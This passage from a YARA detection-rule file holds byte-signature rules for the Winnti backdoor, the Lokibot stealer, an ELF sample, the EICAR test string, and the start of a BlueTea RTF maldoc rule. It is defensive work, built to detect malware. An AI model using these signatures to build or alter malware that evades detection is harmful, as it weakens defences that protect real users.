		$bp = { 7F??4C4601??01??000000000000000002??03??01??0000E0??04??34??000088??????????000034??20??05????????????????000000000000000080??????80??????15????????0C??05????????10??????0000??????0C??40A510??40A510??80??????904A0000060000000010????????0000D4??0000D4??04??D4??04??440000??????????????000004??0000070000??????0C??40A510??40A510??14??000030??000004??000004??000051E5??64????000000000000000000000000000000000000060000??????000004??000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55??????3A??87????529723????2C??08??????AB35????????2A??0000BC????????0000????A510??2A??0000C4??????????0000C8??????2A??0000CCA510??2A??00005589??5383????E8????????5B81??????????8B??????????85??74??E8????????E8????????E8????????585BC9C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????000000000000000031??5E89??83????50545268????????68????????515668????????E8????????F490909090909090909090909090905589??538D??????80????????????75??BB????????A1????????81??????????C1????83????39??73??908D??????83????A3????????FF????????????A1????????39??72??B8????????85??74??C7????????????E8????????C6????????????8D??????5B5DC3908D??????55B8????????89??8D??????E8????????5A81??????????85??74??89??????C7??????????????C7??????????????C7????????????E8????????A1????????85??74??B8????????85??74??C7????????????FF??C9C39090905589??83????8B????88????A1????????85??74??A1????????0FB6????88??83????A3????????EB??C7??????????????8D????89??????C7????????????E8????????C9C35589??83????EB??8B????0FB6??0FBE??83??????89????E8????????8B????0FB6??84??75??C9C35589??83????8B????0FB6??88????83??????80??????0F84????????80??????74??0FBE????89????E8????????E9????????C7????????????8B????0FB6??88????83??????80??????75??C7????????????8B????0FB6??88????83??????EB??80??????75??C7????????????8B????0FB6??88????83??????C7????????????EB??8B????89??C1????01??01??89??0FBE????8D????83????89????8B????0FB6??88????83??????80??????7E??80??????7E??80??????74??80??????75??83??????8B????0FB6??88????83??????80??????0F84????????0FB6????88????80??????7E??0FB6????83????88????0FBE????83????83????0F87????????8B????????????FF??8B????8D????89????8B??89????C7????????????EB??83??????8B????8B????8D????0FB6??84??75??EB??C7????????????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??8B????89????E8????????EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????8B????8D????89????8B??0FBE??89????E8????????E9????????C7????????????EB??C7????????????EB??C7????????????EB??C7????????????EB??0FBE????89????E8????????E9????????8B????83????85??74??8B????8D????89????8B??EB??80??????75??8B????8D????89????8B??EB??8B????8D????89????8B??89????80??????75??8B????85??79??F7????83??????C7????????????8B????BA????????F7????89??88????8B????BA????????F7????89????80??????7E??80??????75??B8????????EB??B8????????0FB6????01??88????8B????0FB6????83????88??????83??????83??????74??83??????76??8B????83????85??74??8B????C6????????83??????8B????89????8B????83????84??74??B8????????EB??B8????????88????EB??0FBE????89????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??83??????8B????0FB6??????0FBE??89????E8????????83??????75??EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????E9????????90EB??90C9C35589??83????8D????89????8B????89??????8B????89????E8????????C9C35589??83????8B????8B????88????88????C9C35589??57565381??????????8B????8B????88??????????88??????????C7??????????????????C7??????????????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????66????????????8D??????????BA????????89??????C7??????????????89????E8????????83????????????0F84????????83????????????0F84????????8B??????????89????E8????????3D????????0F8F????????8B??????????89????E8????????83????0F8F????????8B??????????89????E8????????83????0F8F????????C7??????????????????EB??8B??????????03??????????0FB6??3C??7E??8B??????????03??????????0FB6??3C??7F??8B??????????03??????????8B??????????03??????????0FB6??83????88??8B??????????83????89??????????8B??????????89????E8????????8B??????????39??7F??81??????????????????7E??C7??????????????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????8B??????????C7??????????????89????E8????????89??????????C7??????????????????E9????????8B??????????69??????????03??????????C6??????8B??????????69??????????03??????????C7??????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????0FB6??????????3C??74??8B??????????69??????????03??????????05????????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????69??????????03??????????81??????????83????89??????89??????89????E8????????8B??????????69??????????03??????????C6????????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????3C??0F87????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????E8????????89??E8????????89??0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????0FB6??89??89??D3??89??8D????89????E8????????89????E8????????89??BA????????89??F7??89??C1????89??C1????01??89??29??83????0F87????????8B????????????FF??C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7???????????? }
	condition:
		uint16( 0 ) == 0x457f and filesize < 3000KB and all of them
}


rule TRELLIX_ARC_APT_Winnti : BACKDOOR FILE
{
	meta:
		description = "Detects Winnti variants"
		author = "McAfee ATR Team"
		id = "f12b039a-2508-580f-b777-428bbda2c666"
		date = "2020-06-04"
		modified = "2020-10-14"
		reference = "https://attack.mitre.org/software/S0141/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_winnti.yar#L1-L27"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "fd539d345821d9ac9b885811b1f642aa1817ba8501d47bc1de575f5bef2fbf9e"
		logic_hash = "f94b2c552fbb30e1005e5c75a2f449d60b9558a0916197bed41bf32c6477daef"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Winnti"
		actor_type = "Apt"
		actor_group = "Unknown"
	strings:
		$pattern = { 9090909090909090909090909090C7????????????C2????90909090909081??????????E9????????CCCCCCCCCC8A??????8B??????538A??8A??568B??578B??????8B??C1????66????8B??C1????F3AB8B??83????F3AA8B??5F5E5BC390909090909090909090909090909083????5333??568D??????535089??????89??????E8????????8A??33??3A??8D??????0F94??83????5389??????528B??89??????C6????????E8????????8B??33??81??????????8D??????0F94??6A??89??????5223??89??????C6????????C6????????E8????????33??66????8D??????6A??0F94??89??????89??????5223??C6????????C6????????E8????????8B??83????33??3B??0F94??23??5E495BF7??1B??8B??83????C38B??????8B??????03??C390909090908B??????85??0F84????????8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??E9????????83????C39090909090909090909090909083????8B??????53558B??????33??568B??????83????5789??????76??81??????????8B??76??BF????????8B??????8D????03??C1????03??89??????3B??76??8B??????68????????6A??52E8????????8B??????8B??????8B??????505351565752E8????????8B??????8B??8B??????2B??8B??83????03??8B??????83????89??????77??03??0F84????????8B??????8B??????2B??03??3B??89??????75??81??????????77??8A??04??EB??83????77??08????EB??83????77??8A??80????88??EB??8D????C6????463D????????89??????76??8D????B8????????F7??C1????8B??33??8B??8B??C1????F3AB8B??83????03??F3AA8B??????81??????????4A89??????75??8B??????8B??88??468A??88??46424B75??8B??????C6????465FC6????46C6????2B??8B??????4633??89??5E5D5B83????C390909090909090909083????8B??????53558B??????568B??????8D????5789??????8B??????83????73??B8????????2B??EB??33??03??8B??2B??C1????8D??????89??????8B??????8B??????8D????3B??0F83????????8B??8B??69??????????8B??????8B??????C1????33??66??????03??8B??????2B??????89??????66??????8B??3B??0F85????????8B??????C7??????????????2B??8B??????8B??2B??0F84????????83????77??8A????0A??88????8B????89??03??E9????????83????77??8A??2C??88??468B????89??8B????89????8B????89????8B????89????03??E9????????83????77??8A??80????88??46EB??8D????C6????463D????????89??????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??8B??????81??????????4889??????75??8B??????8B??8B??????88??468B????89??8B????89????8B????89????8B????89????83????83????83????83????73??85??76??8A????88??46454B75??BB????????8B????8B????33??75??BB????????03??8B????8B??33??8B??????83????3B??73??8B??2B??????85??75??83????83????8B????8B??33??8B??????3B??72??EB??84??75??C1????4384??74??8B??????8B??03??2B??83????89??????77??3D????????77??4880????8A??80????C0????C0????0A??88??46C1????88??46E9????????3D????????77??4883????89??????77??80????80????EB??83????C6????4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????2D????????83????89??????77??8B??80????C1????80????8A??0A??80????88??46C0????88??46C1????88??46E9????????8B??83????C1????80????80????88??4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????8B??????E9????????8B??????8B??????8B??????2B??89??8B??5F2B??5E5D03??5B83????C390909090909090909090908B??????538B??????55568B??????C7??????????578A??8D????8B??????80????8B??76??81??????????8D????83????8B??83????0F82????????8A??88??40414F75??EB??33??8A??418B??83????0F83????????85??75??80????75??8A????81??????????4184??74??33??8A??418D??????8B??89??83????83????4E74??83????72??8B??89??83????83????83????83????73??85??76??8A??88??40414E75??EB??8A??88??40414E75??33??8A??418B??83????73??33??8B??8A??C1????2B??C1????2B??8A??????????81??????????4188??40478A??88??8A????4088??408A????83????8B??0F84????????8A??88??404183????76??8A??88??404183????76??8A??88??404133??8A??418B??83????72??8B??8B??C1????83????2B??33??8A??C1????2B??4F41C1????4E8A??88??8A????404788??40478A??88??40474E75??EB??83????72??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????8D????66????81??????????C1????2B??83????EB??83????0F82????????8B??8B??83????C1????2B??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????66????81??????????C1????2B??83????3B??74??81??????????83????0F82????????8B??2B??83????0F8C????????8B??89??83????83????83????8B??89??83????83????83????83????73??85??0F86????????8A??88??40474E75??E9????????33??8B??8A??C1????2B??C1????2B??4F41E9????????8B??????2B??3B??89??75??5F5E5D33??5BC31B??5F24??5E5D83????5BC39090909090909090909090909081??????????568B??68????????C7??????????FF??????????83????75??57B9????????33??8D??????66????????????F3AB66AB8D??????5068????????FF??????????83????5F75??6A??68????????FF??????????8B??5E81??????????C390909090909090909090909090568B??E8????????F6????????74??56E8????????83????8B??5EC2????909068????????C7??????????FF??????????85??75??FF??????????C39090909053558B??????5685??5774??8B??????85??74??33??33??33??85??76??8A??????????8A??????????32??80????32??8A????32??33??88????8D????BE????????F7??8D????BF????????8B??33??F7??413B??8B??72??5F5E5D5BC39083????538B??????55565768????????68????????5333??FF??????????8B??85??0F84????????68????????FF??????????8B??B0??88??????88??????8D??????B1??5056C6????????88??????C6????????C6????????C6????????C6????????88??????C6????????C6????????C6????????C6????????FF??????????5753FF??568B??FF??????????85??74??57FF??????????8B??8B??????B9????????8B??68????????50F3A5E8????????83????B8????????5F5E5D5B83????C35F8B??5E5D5B83????C39090538B??????????5657C7??????????8D????BF???????? }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}


rule TRELLIX_ARC_STEALER_Lokibot : STEALER FILE
{
	meta:
		description = "Rule to detect Lokibot stealer"
		author = "Marc Rivero | McAfee ATR Team"
		id = "75f502a3-2d9f-5ccf-93f8-2d6a73e9e1b7"
		date = "2020-09-23"
		modified = "2020-09-25"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/stealer/STEALER_Lokibot.yar#L1-L39"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "999a69394a545f726cf15e4361e0dfc17eeac6544e6816a0ad140316e9642510"
		score = 75
		quality = 70
		tags = "STEALER, FILE"
		rule_version = "v1"
		malware_type = "stealer"
		malware_family = "Ransomware:W32/Lokibot"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
		hash1 = "0e40f4fdd77e1f90279c585cfc787942b8474e5216ff4d324d952ef6b74f25d2"
		hash2 = "3ad36afad12d8cf245904285c21a8db43f9ed9c82304fdc2f27c4dd1438e4a1d"
		hash3 = "26fbdd516b3c1bfa36784ef35d6bc216baeb0ef2d0c0ba036ff9296da2ce2c84"
	strings:
		$sq1 = { 55 8B EC 56 8B 75 08 57 56 E8 ?? ?? ?? ?? 8B F8 59 85 FF 75 04 33 C0 EB 20 56 6A 00 57 E8 ?? ?? ?? ?? 6A 0C E8 ?? ?? ?? ?? 83 C4 10 85 C0 74 E5 83 60 08 00 89 38 89 70 04 5F 5E 5D C3 }
		$sq2 = { 55 8B EC 83 EC 0C 53 56 57 33 DB BE ?? ?? ?? ?? 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 10 6A 01 53 53 8D 4D F8 51 FF D0 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 08 6A 01 53 53 8D 4D F8 51 FF D0 85 C0 0F 84 2B 01 00 00 6A 24 E8 ?? ?? ?? ?? 59 8B D8 33 C0 6A 09 59 8B FB F3 AB 66 8B 4D 24 B8 03 66 00 00 C7 03 08 02 00 00 66 85 C9 74 03 0F B7 C1 8B 4D 08 33 D2 0F B7 C0 89 43 04 89 53 08 85 C9 74 12 C7 43 08 08 00 00 00 8B 01 89 43 0C 8B 41 04 89 43 10 8B 4D 0C 85 C9 74 0F 83 43 08 08 8B 01 89 43 14 8B 41 04 89 43 18 8B 4D 10 85 C9 74 0F 83 43 08 08 8B 01 89 43 1C 8B 41 04 89 43 20 8B 7B 08 8B 75 F8 83 C7 0C 52 52 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 57 53 56 FF D0 85 C0 74 75 8B 75 FC 33 C0 40 83 7D 20 00 0F 45 45 20 33 FF 57 57 68 ?? ?? ?? ?? 6A 09 89 45 F4 E8 ?? ?? ?? ?? 57 8D 4D F4 51 6A 04 56 FF D0 85 C0 74 3B 39 7D 14 74 1A 8B 75 FC 57 57 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 57 FF 75 14 6A 01 56 FF D0 8B 55 18 8B 4D FC 53 89 0A 8B 55 1C 8B 4D F8 89 0A E8 ?? ?? ?? ?? 33 C0 59 40 EB 21 FF 75 FC E8 BF FB FF FF 59 EB 02 33 FF 53 E8 ?? ?? ?? ?? 57 FF 75 F8 E8 6B FB FF FF 83 C4 0C 33 C0 5F 5E 5B 8B E5 5D C3 }
		$sq3 = { 55 8B EC 83 EC 0C 53 8B 5D 0C 56 57 6A 10 33 F6 89 75 F8 89 75 FC 58 89 45 F4 85 DB 75 0E FF 75 08 E8 ?? ?? ?? ?? 8B D8 8B 45 F4 59 50 E8 ?? ?? ?? ?? 8B F8 59 85 FF 0F 84 B6 00 00 00 FF 75 F4 56 57 E8 C4 ?? ?? ?? 83 C4 0C 56 56 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 68 00 00 00 F0 6A 01 56 56 8D 4D F8 51 FF D0 85 C0 0F 84 84 00 00 00 8B 75 F8 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 68 03 80 00 00 56 FF D0 85 C0 74 51 6A 00 53 FF 75 08 FF 75 FC E8 7F FD FF FF 83 C4 10 85 C0 74 3C 8B 75 FC 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 6A 00 8D 4D F4 51 57 6A 02 56 FF D0 85 C0 74 19 FF 75 FC E8 16 FD FF FF 6A 00 FF 75 F8 E8 26 FD FF FF 83 C4 0C 8B C7 EB 0E 6A 00 FF 75 F8 E8 15 FD FF FF 59 59 33 C0 5F 5E 5B 8B E5 5D C3 }
		$sq4 = { 55 8B EC 83 7D 10 00 56 57 8B 7D 0C 57 74 0E E8 ?? ?? ?? ?? 8B F0 33 C0 03 F6 40 EB 09 E8 ?? ?? ?? ?? 8B F0 33 C0 83 7D 14 00 59 75 24 50 FF 75 08 E8 2C 00 00 00 59 59 83 F8 01 74 04 33 C0 EB 1D 56 FF 75 08 E8 C5 FE FF FF 59 59 83 F8 01 75 EC 56 57 FF 75 08 E8 CA FE FF FF 83 C4 0C 5F 5E 5D C3 }
		$sq5 = { 55 8B EC 53 56 8B 75 0C 57 85 F6 75 0B FF 75 08 E8 ?? ?? ?? ?? 59 8B F0 6B C6 03 89 45 0C 8D 58 01 53 E8 ?? ?? ?? ?? 8B F8 59 85 FF 74 42 53 6A 00 57 E8 ?? ?? ?? ?? 83 C4 0C 33 D2 85 F6 74 27 8B 45 08 0F B6 0C 02 8B C1 83 E1 0F C1 E8 04 8A 80 ?? ?? ?? ?? 88 04 57 8A 81 ?? ?? ?? ?? 88 44 57 01 42 3B D6 72 D9 8B 45 0C C6 04 07 00 8B C7 5F 5E 5B 5D C3 }
		$sq6 = { 55 8B EC 53 56 57 FF 75 08 E8 ?? ?? ?? ?? 33 C9 6A 02 5B 8D B8 A0 1F 00 00 8B C7 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 74 6F 8D 0C 3F 51 6A 00 56 E8 ?? ?? ?? ?? 8D 45 0C 50 FF 75 08 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 1C 85 FF 74 40 33 C9 8D 47 02 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 25 8D 0C 7D 02 00 00 00 51 6A 00 53 E8 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 1C 8B C3 EB 09 56 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 5D C3 }
		$sq7 = { 55 8B EC 81 EC 80 00 00 00 56 57 E8 ?? ?? ?? ?? 6A 1F 59 BE ?? ?? ?? ?? 8D 7D 80 F3 A5 33 C9 6A 02 5A 66 A5 8B 7D 08 8D 47 01 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 4D 8D 04 7D 02 00 00 00 4F 89 45 08 53 50 6A 00 56 E8 ?? ?? ?? ?? 83 C4 0C 33 DB 85 FF 74 1C E8 ?? ?? ?? ?? 33 D2 6A 7E 59 F7 F1 D1 EA 66 8B 44 55 80 66 89 04 5E 43 3B DF 72 E4 56 E8 ?? ?? ?? ?? 3B F8 8B 45 08 59 77 C4 8B C6 5B EB 02 33 C0 5F 5E 8B E5 5D C3 }
		$sq8 = { 55 8B EC 81 EC 50 02 00 00 53 56 57 6A 0A E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E 39 5D 14 0F 84 13 01 00 00 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 F7 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 56 FF D0 8B D8 83 FB FF 0F 84 CC 00 00 00 F6 85 B0 FD FF FF 10 0F 84 97 00 00 00 83 7D 1C 00 74 2E 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 0A ?? ?? ?? 59 59 85 C0 75 7A 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 F3 ?? ?? ?? 59 59 85 C0 75 63 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 0C 6A 2E 58 66 39 85 DC FD FF FF 74 45 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 0C 89 45 14 85 C0 74 27 6A 01 6A 00 6A 01 FF 75 10 FF 75 0C 50 E8 14 FF FF FF FF 75 14 8B F8 E8 ?? ?? ?? ?? 83 C4 1C 85 FF 0F 85 EE 00 00 00 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 0F 85 3B FF FF FF 53 E8 ?? ?? ?? ?? 59 56 E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E FF 75 0C FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 0F 84 CF 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 57 FF D0 8B D8 83 FB FF 0F 84 A6 00 00 00 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 09 66 39 B5 DC FD FF FF 74 3E 83 BD B0 FD FF FF 10 75 06 83 7D 18 00 74 2F 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 0C 85 F6 74 12 83 7D 10 00 74 40 56 FF 55 10 56 E8 ?? ?? ?? ?? 59 59 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 74 29 6A 2E 5E EB 85 56 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C7 EB 22 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C6 EB 10 53 E8 ?? ?? ?? ?? 59 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 8B E5 5D C3 }
		$sq9 = { 83 3D 14 ?? ?? ?? ?? 56 74 0A 8B 35 20 ?? ?? ?? 85 F6 75 66 53 57 BB E0 01 00 00 33 FF 53 89 3D 14 ?? ?? ?? E8 F0 F8 FF FF 33 F6 A3 14 ?? ?? ?? 46 59 85 C0 74 12 6A 78 57 50 89 35 20 ?? ?? ?? E8 A6 F8 FF FF 83 C4 0C 53 89 3D 18 ?? ?? ?? E8 C5 F8 FF FF A3 18 ?? ?? ?? 59 85 C0 74 14 6A 78 57 50 89 35 20 ?? ?? ?? E8 7E F8 FF FF 83 C4 0C EB 06 8B 35 20 ?? ?? ?? 5F 5B 8B C6 5E C3 }
		$sq10 = { 55 8B EC 51 51 83 65 FC 00 53 56 57 64 A1 30 00 00 00 89 45 FC 8B 45 FC 8B 40 0C 8B 58 0C 8B F3 8B 46 18 FF 76 28 89 45 F8 E8 CE FA FF FF 8B F8 59 85 FF 74 1F 6A 00 57 E8 32 01 00 00 57 E8 ?? ?? ?? ?? 03 C0 50 57 E8 71 FA FF FF 83 C4 14 39 45 08 74 11 8B 36 3B DE 75 C6 33 C0 5F 5E 5B 8B E5 5D C2 04 00 8B 45 F8 EB F2 }
		$sq11 = { A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 33 C0 A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? C3 }
		$sq12 = { 55 8B EC 56 8B 75 0C 57 85 F6 74 48 56 E8 ?? ?? ?? ?? 59 85 C0 74 3D 56 E8 ?? ?? ?? ?? 59 85 C0 74 32 83 65 0C 00 8D 45 0C 6A 01 50 56 E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 74 19 8B 45 0C 85 C0 74 12 83 7D 14 00 74 12 39 45 14 73 0D 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5D C3 83 7D 10 00 74 1A 6A 00 6A 01 56 E8 ?? ?? ?? ?? 59 50 FF 75 08 E8 1F 00 00 00 8B 45 0C 83 C4 10 50 57 FF 75 08 E8 FF FE FF FF 57 8B F0 E8 ?? ?? ?? ?? 83 C4 10 8B C6 EB C3 }
		$sq13 = { 55 8B EC 83 EC 18 56 FF 75 08 E8 ?? ?? ?? ?? 50 89 45 F0 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 C0 00 00 00 53 8B 5D 0C 33 C9 57 6A 04 5A 8B C3 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 65 F4 00 8B F8 83 65 FC 00 59 85 DB 74 6D 8B 45 10 83 C0 FC FF 75 F0 83 C0 04 89 45 E8 6A 00 56 8B 00 89 45 EC E8 ?? ?? ?? ?? FF 75 F0 FF 75 08 56 E8 ?? ?? ?? ?? 83 65 F8 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 20 EB 1F FF 75 EC 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 32 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 45 F8 59 59 85 C0 75 DD 8B 45 FC 40 89 45 FC 3B C3 8B 45 E8 72 99 56 E8 ?? ?? ?? ?? 59 39 5D F4 75 12 8B C7 EB 17 8B 45 FC 8B 4D F8 FF 45 F4 89 0C 87 EB D7 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5B 5E 8B E5 5D C3 }
		$sq14 = { 55 8B EC 8B 45 0C 53 56 8B 75 08 57 8B 4E 04 03 C1 8D 3C 09 3B F8 77 06 8D B8 F4 01 00 00 33 C9 8B C7 6A 04 5A F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 26 57 6A 00 53 E8 ?? ?? ?? ?? FF 76 08 FF 36 53 E8 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ?? 33 C0 89 1E 83 C4 1C 89 7E 04 40 5F 5E 5B 5D C3 }
		$sq15 = { 55 8B EC 83 7D 0C 00 57 74 39 8B 7D 10 85 FF 74 32 56 8B 75 08 8B 46 08 03 C7 3B 46 04 76 09 57 56 E8 3F FF FF FF 59 59 8B 46 08 03 06 57 FF 75 0C 50 E8 ?? ?? ?? ?? 01 7E 08 83 C4 0C 33 C0 40 5E EB 02 33 C0 5F 5D C3 }
	condition:
		uint16( 0 ) == 0x5a4d and any of them
}

rule TRELLIX_ARC_Malw_Eicar : EICAR
{
	meta:
		description = "Rule to detect the EICAR pattern"
		author = "Marc Rivero | McAfee ATR Team"
		id = "16307b03-7fab-5d68-ad3b-0efcea952fcf"
		date = "2026-03-01"
		modified = "2020-08-14"
		reference = "https://www.eicar.org/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_Eicar.yar#L1-L22"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
		logic_hash = "564b0592f40582fe71e2dab0c0f25c168462f9297c13e7c9f06ac51b492e4533"
		score = 75
		quality = 70
		tags = "EICAR"
		malware_type = "eicar"
		malware_family = "W32/Eicar"
		actor_type = "Unknown"
		actor_group = "Unknown"
	strings:
		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
	condition:
		any of them
}

rule TRELLIX_ARC_Rtf_Bluetea_Builder : MALDOC FILE
{
	meta:
		description = "Rule to detect the RTF files created to distribute BlueTea trojan"
		author = "Marc Rivero | McAfee ATR Team"
		id = "20e4f7b2-b36c-5724-a3aa-4216ed6265ab"
		date = "2020-04-21"
		modified = "2020-08-14"
		reference = "https://blog.360totalsecurity.com/en/bluetea-action-drive-the-life-trojan-update-email-worm-module-and-spread-through-covid-19-outbreak/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALDOC_rtf_bluetea_builder.yar#L1-L30"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "4a3eeaed22342967a95302a4f087b25f50d61314facc6791f756dcd113d4f277"
		logic_hash = "6c4007fb7ef4819141db63050215dcbb3d2c17e7cdcdbb6cfb4f4b045bb5736b"
		score = 75
		quality = 70
		tags = "MALDOC, FILE"
		rule_version = "v1"
		malware_type = "maldoc"
		malware_family = "Maldoc:W32/BlueTea"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
